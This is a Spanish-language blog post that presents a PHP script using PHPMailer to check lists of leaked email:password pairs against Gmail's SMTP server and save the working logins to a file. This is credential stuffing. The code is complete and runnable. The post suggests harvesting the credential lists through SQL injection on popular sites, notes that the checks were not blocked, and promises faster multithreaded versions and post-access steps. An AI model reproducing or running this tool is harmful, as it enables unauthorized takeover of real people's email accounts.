Saludos a todos , hoy después de mucho
tiempo sin publicar algo, venimos con algo sencillo pero que tal vez
a muchos les pueda servir o que puedan mejorar la idea..
Como el titulo de este post indica
vamos a utilizar unas clases realizadas en php que permite
interactuar con los protocolos para lectura y envío de correo (POP3
y SMTP) y en este caso vamos a aprovecharlas para verificar cuentas
de correo, es decir ver si un login y passwords son correctos , sobra
decir ante todo estas pruebas es con fines educativos y de crear
conciencia a partir de la problemática que muchos tenemos hoy en día
con nuestra gestión de datos y en este caso de contraseñas.
Son muchos los inconvenientes que se
pueden dar en el manejo equivocado de nuestros datos con los que
entramos a nuestras cuentas de correo, redes sociales o sea cual sea,
pero partiremos de uno en general que se viene dando desde hace
muchos años y el cual abarcamos a partir de la siguiente pregunta :
¿ Utilizamos contraseñas diferentes para cada servicio que
utilizamos en internet ? La respuesta a esto para una persona que
maneja correctamente su información puede ser “si” pero puedo
asegurar que muchos utilizamos contraseñas que recordamos
repetidamente en varios lugares de internet y esto es así por que
somos perezosos o simplemente es mucho mas cómodo utilizar la misma
contraseña para todo, pero esto trae una posible consecuencia que si
de alguna forma un tercero obtiene la clave ya puede tener acceso a
todas nuestras cuentas que utilicemos con dicha clave.
Este inconveniente lo vamos a tratar en
dos partes , el primero es la parte de la verificación de las
cuentas por medio de PHPMailer y la segunda parte es después de
haber obtenido información valida veremos hasta donde podemos llegar
con algún dato obtenido pero esto es para otro post
La utilización de esta librería es
muy simple, solo debemos incluirla de donde queremos utilizarla y ya
solo debemos hacer llamado a los métodos que contiene.
No profundizaremos mucho en los métodos
habilitados en esta clase , solo utilizaremos lo necesarios para
hacer la prueba de concepto , para quienes quieran profundizar mejor acá el link del PHPMailer https://github.com/PHPMailer/PHPMailer
Crearemos una carpeta con un archivo
php llamado lazar.php en el cual incluiremos toda la lógica para
realizar la verificación, muchos se preguntaran pero de donde se
sacan los correos a verificar y otros ya lo habrán supuesto y lo que
nosotros decimos es que es para otro post este tema de extracción de
este tipo de información pero la mas simple para hacerse a una lista
de estos correos es mediante un SQLI de algún sitio bien
posicionado, hay otros métodos pero como todo va directamente a que
tan creativos podemos ser para poder hacernos a determinada
información , pero como ya lo indicamos es para otro post este tema.
Entonces tenemos los siguientes pasos
para nuestra prueba
- Tener una lista de correos para la verificación de sus claves
- Mediante la librería PHPMailer leer cada dato y pasarlo a los metodos para ver cuales son correctos.
- Analizar la información de dichas cuentas validas
Cabe aclarar que no estamos haciendo
fuerza bruta a las cuentas solo estamos probando datos ya existentes
verificando cuales son validas, también es bueno indicar que google
posiblemente nos bloquee los intentos de login desde nuestra misma
ip, antes de nuestra prueba verificamos 100 cuentas validas para
tratar de verificar esto se obtuvo 100/100 osea todas las verifico
sin generar algún bloqueo pero lo que si paso es que al tratar de
hacer login por medio web nos solicitaba un captcha es de mucho mas
analizar esto pero creo que dejaremos la observación para quien
quiera probar esto y hacer un mejor análisis.
En la siguiente imagen tenemos una
carpeta class en donde tenemos todos las clases de PHPMailer
Lo primero en nuestro proyecto es
utilizar la librería y con un simple include o require lo realizamos
INCLUSION DE LAS CLASES
require 'class/PHPMailerAutoload.php';
La clase tiene unos atributos como
password o username que no pasamos a explicar por su obvia definición
solo tenemos 3 a tener en cuenta para poder realizar la conexión
correcta.
- $mail->SMTPAuth = true; // INDICAMOS EL USO DE AUTENTICACION
- $mail->Port = 587; // EL PUERTO A DONDE NOS VAMOS AUTENTICAR CON TLS
- $mail->SMTPSecure = 'tls';// INDICAMOS QUE SE USARA TLS PARA LA AUTENTICACION
El algoritmo a realizar para nuestra
meta seria el siguiente:
- Incluir librerías
- Leer archivo con la lista de correos y clave
- Invocar Método de autenticación y por cada linea del archivo de correos
- A partir de $mail->send() verificar si es correcta o no el login
Entonces tenemos lo siguiente en
nuestro codigo.
Nota : los usuarios y claves estan
separados por dos puntos “:”
===================== CODE =======================
require
'./class/PHPMailerAutoload.php';
$mail = new PHPMailer;
$mail->isSMTP();
//Enable SMTP debugging
// 0 = off (for production use)
// 1 = client messages
// 2 = client and server messages
$mail->SMTPDebug = 0;
$mail->Debugoutput = 'html';
$mail->Host = 'smtp.gmail.com';
$mail->Port = 587;
$mail->SMTPSecure = 'tls';
$mail->SMTPAuth = true;
$mail->Subject = 'Envio';
$mail->msgHTML("Vacio");
//VARIABLES PARA CONTROL INTERNO
$fp = fopen("t1","r");
// ABRIMOS ARCHIVO CON LOS CORREOS Y CLAVES
$ct = 1;
$co = 0;
$m =100;
RECORREMOS EL ARCHIVO HASTA SU FIN
while(!feof($fp)) {
$linea = fgets($fp);
$linea = trim($linea);
$data = explode(":",
$linea); //SEPARAMOS LOGIN Y PASSWORD
$login = trim($data[0]); // LIMPIAMOS
EL DATO SEPARADO
$pass = trim($data[1]);
//INCLUIMOS LOS DATOS EN LOS
PARAMETROS DE LA CLASE
$mail->Username = $login;
$mail->Password = $pass;
$mail->setFrom($login);
$mail->addReplyTo($login);
$mail->addAddress($login);
// MOSTRAMOS UN MENSAJES MEDIANTE
UNA VARIABLE DE CONTROL CADA 100 CUENTAS VERIFICADAS
if($ct==$m){
print "[+] Probando $login:$pass
$co/$ct\n";
$m=$m+100;
}
// MANDAMOS UN CORREO SI NO GENERA
ERROR GUARDAMOS EN UN ARCHIVO EL LOGIN CORRECTO DE LO CONTRARIO NO
MOSTRAMOS NADA PERO SI LO DEJAMOS INDICADO POR SI SE QUIERE TAMBIEN
SABER CUALES FALLARON U OTRA COSA
if (!$mail->send()) {
//echo "Mailer Error: "
. $mail->ErrorInfo;
} else {
$co++;
print "\n\t]> Login Susses :
$login:$pass $co/$ct\n";
$fw = fopen("logOK",
"a");
fwrite($fw, "$login:$pass\n");
fclose($fw);
}
//LIMPIAMOS EL PARAMETRO DONDE
GUARDAMOS LA DIRECCION A PROBAR
$mail->clearAddresses();
$ct ++;
}
|
========================== FIN CODE ===========================
Como ven es algo simple
aunque algo lento pues no se incluyen multihilos para hacer que la
verificación sea mucho mas rápida, hace un tiempo otro de nuestros
compañeros hizo lo mismo pero este buscaba información dentro de
las cuentas , en ese caso el implemento esto mismo en python y
multihilos pero el error que cometió fue que gmail le bloqueaba los
intentos de login y entonces el proceso era rápido y se verificaban
1500 cuentas por cada 10 segundos o algo así pero era falso, para la
segunda parte de este post agregaremos esta funcionalidad pero para
la prueba apenas es así.
A continuación dejamos
un vídeo sobre la ejecución del script y el proyecto para su
descarga
saludos y esperamos que
este post fuese de utilidad por lo menos de aprendizaje para quienes
están comenzando en este mundo de la seguridad , cualquier inquietud
o comentario nos lo hacen saber.
Link Video : http://youtu.be/45kcTU6qkRs
Link PDF POST : http://p.pw/baek1H
Link Proyecto : http://p.pw/baek1K
Saludos
No hay comentarios:
Publicar un comentario